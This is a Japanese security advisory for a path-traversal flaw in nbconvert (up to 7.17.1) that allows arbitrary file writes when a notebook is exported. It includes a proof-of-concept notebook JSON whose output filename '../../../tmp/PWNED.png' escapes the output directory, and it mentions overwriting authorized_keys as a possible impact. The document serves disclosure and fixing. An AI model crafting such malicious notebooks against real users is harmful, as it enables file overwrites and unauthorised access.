nbconvert: md、latex、rst、およびasciidoc形式へのエクスポート時に、セル出力ファイル名におけるパストラバーサル脆弱性により、任意のファイルへの書き込みが可能
### 概要
nbconvertのバージョン7.17.1以前には、ipynbセルの出力メタデータ、特にファイル名属性におけるパストラバーサル脆弱性があり、これにより任意のファイルへの書き込みが可能になります。
脆弱性のあるコンバータ: `--to markdown`、`--to latex`、`--to rst`、`--to asciidoc`。
`ExtractOutputPreprocessor`の`extractoutput.py:116-119`において、攻撃者が制御する`path`が`output_files_dir`と結合されますが、正規化チェックが行われないため、任意のファイルへの書き込みが可能になります。
これは、https://github.com/advisories/GHSA-4c99-qj7h-p3vgで報告されている脆弱性に関連するものです。
### 影響
被害者がnbconvertを悪意のあるipynbファイルで実行した場合、任意のデータを含むファイルを任意の場所に作成することができ、例えば`authorized_keys`を上書きすることが可能です。
ただし、jupyterでセルを実行すると出力が上書きされるため、悪意のあるセルが「クリーンアップ」される可能性があります。
### 実証コード
ipynbファイル内:
```json
"cells": [{
"cell_type": "code", "id": "abc123", "execution_count": 1,
"metadata": {}, "source": "# PoC",
"outputs": [{
"output_type": "display_data",
"metadata": {
"filename": "../../../tmp/PWNED.png" # ← output_dirの外にパスをトラバース
},
"data": {
# 最小限の有効なPNG (1×1ピクセル)
"image/png": "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mNk+M9QDwADhgGAWjR9awAAAABJRU5ErkJggg=="
}
}]
}]
```
### 修正
以下のバージョンで修正されています。
- https://github.com/jupyter/nbconvert/commit/ce4bd99aec31d81d759fa8eeb8643179392ec66f
- [7.17.2](https://github.com/jupyter/nbconvert/releases/tag/v7.17.2)
影響を受けるパッケージ:
- pip (Python) nbconvert: 影響を受けるバージョンは5.4.0以上、7.17.1以下、7.17.2で修正済み。